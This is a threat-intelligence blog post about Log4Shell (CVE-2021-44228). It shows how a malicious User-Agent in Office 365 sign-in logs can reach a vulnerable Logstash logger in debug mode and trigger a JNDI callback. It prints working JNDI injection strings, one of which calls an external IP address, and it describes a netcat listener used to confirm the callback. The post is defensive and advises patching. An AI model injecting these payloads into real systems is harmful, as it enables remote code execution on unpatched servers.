Log4j vulnerable to CVE-2021-44228 exploit

Mark Slater, Head of Threat Intelligence

Risk of indirect compromises of devices running versions of Log4j vulnerable to CVE-2021-44228 exploit.

For many organisations the current focus surrounding the Java Log4j RCE vulnerability ( CVE-2021-44228 ) is identifying and patching any Internet facing assets which may be susceptible to being exploited.  Mass scanning and attacks utilising this vulnerability are already taking place.

However, internal assets which are not directly Internet facing and running a vulnerable version of the Log4j Java library may still be at risk. 

An attacker can exploit the CVE-2021-44228 by injecting a malicious JNDI string into a field the Log4J library is processing and logging.   Many of the current attacks have been manipulating frequently logged header fields from web requests, for example User-Agent.

Example of JNDI exploit code below where a callback is being made to an external server to verify the Log4J is exploitable.

${jndi:ldap://64.39.106.84:43199/a}

Where a server is Internet facing, an attacker can remotely connect directly to the server and attempt to inject the exploit code into various web request header fields or form fields on a web page in the hope they are being processed and logged by the Log4j library.

For those internal assets running a vulnerable version of Log4j, an attacker may still be able to compromise these if they can manipulate any external data which is being processed by Log4j.

As an example of this, we’ll take a look at the popular ELK stack, a solution designed to “Store, search, analyze, and visualize data from any source”.

The authors of ELK have already disclosed that the Logstash component of the ELK stack may be running a vulnerable version of Log4j.

A review of our example ELK server shows that Log4j is logging Logstash logs into files within the /var/log/logstash folder.  By default the Logstash logging level is set to ‘info’ and the only information being logged is operational based such as service startup/shutdown etc.  At the ‘info’ log level it would be difficult for an attacker to manipulate data being processed by the Logstash Log4j logger.

However, if we increase the logging level on Logstash from ‘info’ to the more verbose ‘debug’ the situation now changes.  When Logstash is set to log in ‘debug’ mode, it now logs far more information.  This includes the raw data being received by the Logstash service prior to it being processed and fed into the elasticsearch component of the ELK stack.

In this scenario, an attacker now only needs to be able to inject the malicious JNDI exploit string into the raw log data being ingested by Logstash.   Our example ELK instance is being used to ingest Office 365 login activity logs retrieved from Microsoft.

The Microsoft Office 365 sign-in logs include field such as username and source IP.  They also include the User-Agent being used to attempt to login to Office 365.

An attempt was made to login to an Office 365 account belonging to the Office 365 tenant who logs were being ingested into ELK.   The User-Agent header for this login was manipulated to include the JNDI exploit code shown below:

${jndi:ldap://127.0.0.1:389/a}

If this string is processed by a vulnerable version of Log4j it should initiate a callback to TCP port 389 (ldap) on the localhost.   To be able to verify the exploit worked, a netcat listener was started on the ELK host on port 389 to listen for the callback request.  In a real world scenario this would be an external host under the control of an attacker.

To be honest I did expect that 5 days on from the start of widespread CVE-2021-44228 attacks, Microsoft would be sanitizing and removing reference to malicious JNDI strings from their Office 365 logs.  I was expecting the User-Agent field in the logs to either be blank or to have certain characters redacted preventing the exploit from running.

The next time Logstash processed the Office 365 logs I was surprised to see the malicious JNDI string being logged in the Logstash log.

A check of the netcat listener also confirmed it had received a callback connection as was evident by the random characters it was displaying.

A successful exploit of CVE-2021-44228 through a failed login to an Office 365 account!

This example relates to a particular scenario involving the ELK stack, however, it wouldn’t be an unusual scenario for a device running a vulnerable version of Log4j to be ingesting and processing logs from external sources.

My advice would be to give priority to patching your external facing assets running Log4j but also ensure you review any internal devices running Log4j which may be susceptible to this kind of indirect attack.

If you have any questions, please don’t hesitate to contact us at [email protected].